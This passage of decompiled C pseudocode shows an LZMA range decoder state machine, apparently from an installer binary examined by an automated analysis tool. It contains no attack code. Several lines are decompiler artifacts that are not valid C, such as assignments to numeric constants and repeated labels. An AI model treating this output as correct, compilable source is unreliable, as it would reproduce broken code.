									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00407602))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
